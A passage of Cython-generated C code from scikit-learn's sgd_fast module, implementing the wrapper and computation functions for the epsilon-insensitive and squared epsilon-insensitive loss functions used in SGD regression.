*__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_4dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":286\n *         return ret if ret > 0 else 0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         if y - p > self.epsilon:\n *             return -1\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_6__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":294\n *             return 0\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return EpsilonInsensitive, (self.epsilon,)\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":295\n * \n *     def __reduce__(self):\n *         return EpsilonInsensitive, (self.epsilon,)             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(__pyx_v_self->epsilon); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 295; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 295; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1);\n  __Pyx_GIVEREF(__pyx_t_1);\n  __pyx_t_1 = 0;\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 295; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive)));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_t_2));\n  __Pyx_GIVEREF(((PyObject *)__pyx_t_2));\n  __pyx_t_2 = 0;\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_epsilon;\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__ (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__epsilon,0};\n    PyObject* values[1] = {0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__epsilon)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"__init__\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 306; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 1) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n    }\n    __pyx_v_epsilon = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_epsilon == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 306; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"__init__\", 1, 1, 1, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 306; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.__init__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return -1;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive___init__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *)__pyx_v_self), __pyx_v_epsilon);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":306\n *     cdef double epsilon\n * \n *     def __init__(self, double epsilon):             # <<<<<<<<<<<<<<\n *         self.epsilon = epsilon\n * \n */\n\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_epsilon) {\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":307\n * \n *     def __init__(self, double epsilon):\n *         self.epsilon = epsilon             # <<<<<<<<<<<<<<\n * \n *     cpdef double loss(self, double p, double y):\n */\n  __pyx_v_self->epsilon = __pyx_v_epsilon;\n\n  __pyx_r = 0;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":309\n *         self.epsilon = epsilon\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double ret = abs(y - p) - self.epsilon\n *         return ret * ret if ret > 0 else 0\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_ret;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_3loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":310\n * \n *     cpdef double loss(self, double p, double y):\n *         cdef double ret = abs(y - p) - self.epsilon             # <<<<<<<<<<<<<<\n *         return ret * ret if ret > 0 else 0\n * \n */\n  __pyx_v_ret = (fabs((__pyx_v_y - __pyx_v_p)) - __pyx_v_self->epsilon);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":311\n *     cpdef double loss(self, double p, double y):\n *         cdef double ret = abs(y - p) - self.epsilon\n *         return ret * ret if ret > 0 else 0             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  if ((__pyx_v_ret > 0.0)) {\n    __pyx_t_5 = (__pyx_v_ret * __pyx_v_ret);\n  } else {\n    __pyx_t_5 = 0;\n  }\n  __pyx_r = __pyx_t_5;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_2loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":309\n *         self.epsilon = epsilon\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double ret = abs(y - p) - self.epsilon\n *         return ret * ret if ret > 0 else 0\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 309; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredEpsilonInsensitive.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":313\n *         return ret * ret if ret > 0 else 0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z\n *         z = y - p\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_5dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 313; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":315\n *     cpdef double dloss(self, double p, double y):\n *         cdef double z\n *         z = y - p             # <<<<<<<<<<<<<<\n *         if z > self.epsilon:\n *             return -2 * (z - self.epsilon)\n */\n  __pyx_v_z = (__pyx_v_y - __pyx_v_p);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":316\n *         cdef double z\n *         z = y - p\n *         if z > self.epsilon:             # <<<<<<<<<<<<<<\n *             return -2 * (z - self.epsilon)\n *         elif z < self.epsilon:\n */\n  __pyx_t_6 = (__pyx_v_z > __pyx_v_self->epsilon);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":317\n *         z = y - p\n *         if z > self.epsilon:\n *             return -2 * (z - self.epsilon)             # <<<<<<<<<<<<<<\n *         elif z < self.epsilon:\n *             return 2 * (-z - self.epsilon)\n */\n    __pyx_r = (-2.0 * (__pyx_v_z - __pyx_v_self->epsilon));\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":318\n *         if z > self.epsilon:\n *             return -2 * (z - self.epsilon)\n *         elif z < self.epsilon:             # <<<<<<<<<<<<<<\n *             return 2 * (-z - self.epsilon)\n *         else:\n 